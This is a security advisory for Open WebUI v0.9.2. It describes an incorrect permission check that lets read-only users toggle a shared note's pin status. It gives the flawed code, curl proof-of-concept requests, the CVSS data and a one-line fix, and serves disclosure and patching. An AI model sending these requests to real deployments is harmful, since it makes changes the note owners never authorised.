GHSA-JX2X-J75F-XQ3J
Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-19 15:58Summary
The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.
Details
Affected code: backend/open_webui/routers/notes.py lines 412-444
@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
# ...
if user.role != 'admin' and (
user.id != note.user_id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='note',
resource_id=note.id,
permission='read', # BUG: should be 'write'
db=db,
)
):
raise HTTPException(...)
note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation
Compare with update endpoint (correct, line 318-327):
async def update_note_by_id(...):
# ...
and not await AccessGrants.has_access(
permission='write', # correctly checks 'write'
)
PoC
Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.
Setup:
1. UserA creates a note
2. UserA shares note with UserB with read permission via POST /api/v1/notes/{id}/access/update with {"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}
Test:
# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false
# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
-H "Authorization: Bearer $TOKEN_B" \
-H "Content-Type: application/json" \
-d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden
# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true
# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)
E2E Verified Result: - Step 1: UserB reads note (READ) -> 200 OK ✓ - Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked) - Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG) - Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)
Impact
- A user with only
readaccess to a shared note can toggle itsis_pinnedstatus - This modifies the note's state without write authorization
- The pin status change is visible to the note owner and all other users with access
- Privilege escalation from read to write on the pin operation
Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.
Fix
One-line fix — change permission='read' to permission='write' in pin_note_by_id:
# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',
This makes the pin endpoint consistent with update and delete endpoints.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.2"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45316"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:18:14Z",
"nvd_published_at": "2026-05-15T22:16:54Z",
"severity": "LOW"
},
"details": "### Summary\n\nThe `POST /api/v1/notes/{id}/pin` endpoint performs a write operation (toggling the `is_pinned` field) but only checks for `read` permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require `write` permission. All other write endpoints (update, delete, access/update) correctly check for `write` permission.\n\n### Details\n\n**Affected code: `backend/open_webui/routers/notes.py` lines 412-444**\n\n```python\n@router.post(\u0027/{id}/pin\u0027, response_model=Optional[NoteModel])\nasync def pin_note_by_id(...):\n # ...\n if user.role != \u0027admin\u0027 and (\n user.id != note.user_id\n and not await AccessGrants.has_access(\n user_id=user.id,\n resource_type=\u0027note\u0027,\n resource_id=note.id,\n permission=\u0027read\u0027, # BUG: should be \u0027write\u0027\n db=db,\n )\n ):\n raise HTTPException(...)\n \n note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation\n```\n\n**Compare with update endpoint (correct, line 318-327):**\n```python\nasync def update_note_by_id(...):\n # ...\n and not await AccessGrants.has_access(\n permission=\u0027write\u0027, # correctly checks \u0027write\u0027\n )\n```\n\n### PoC\n\n**Environment:** Open WebUI v0.9.2, default configuration with notes sharing enabled.\n\n**Setup:**\n1. UserA creates a note\n2. UserA shares note with UserB with `read` permission via `POST /api/v1/notes/{id}/access/update` with `{\"access_grants\":[{\"principal_type\":\"user\",\"principal_id\":\"USERB_ID\",\"permission\":\"read\"}]}`\n\n**Test:**\n```bash\n# Step 1: UserB reads note (READ permission) -\u003e 200 OK, write_access: false\ncurl -s http://TARGET/api/v1/notes/$NOTE_ID \\\n -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"write_access\": false\n\n# Step 2: UserB updates note (WRITE operation) -\u003e 403 Forbidden (correctly blocked)\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \\\n -H \"Authorization: Bearer $TOKEN_B\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"title\":\"HACKED\",\"content\":\"pwned\",\"data\":{\"type\":\"note\"}}\u0027\n# Result: 403 Forbidden\n\n# Step 3: UserB pins note (WRITE operation, but only checks READ) -\u003e 200 OK (BUG!)\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \\\n -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"is_pinned\": true\n\n# Step 4: UserB can toggle pin repeatedly\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \\\n -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"is_pinned\": false (toggled back)\n```\n\n**E2E Verified Result:**\n- Step 1: UserB reads note (READ) -\u003e 200 OK \u2713\n- Step 2: UserB updates note (WRITE) -\u003e 403 Forbidden \u2713 (correctly blocked)\n- Step 3: UserB pins note (WRITE via READ) -\u003e 200 OK, is_pinned: true \u2717 (BUG)\n- Step 4: UserB toggles pin again -\u003e 200 OK, is_pinned: false \u2717 (repeated write)\n\n### Impact\n\n- A user with only `read` access to a shared note can toggle its `is_pinned` status\n- This modifies the note\u0027s state without write authorization\n- The pin status change is visible to the note owner and all other users with access\n- Privilege escalation from read to write on the pin operation\n\n**Limitations:** Only affects the `is_pinned` boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.\n\n### Fix\n\nOne-line fix \u2014 change `permission=\u0027read\u0027` to `permission=\u0027write\u0027` in `pin_note_by_id`:\n\n```python\n# backend/open_webui/routers/notes.py, line 437\n- permission=\u0027read\u0027,\n+ permission=\u0027write\u0027,\n```\n\nThis makes the pin endpoint consistent with update and delete endpoints.",
"id": "GHSA-jx2x-j75f-xq3j",
"modified": "2026-05-19T15:58:35Z",
"published": "2026-05-14T20:18:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jx2x-j75f-xq3j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45316"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.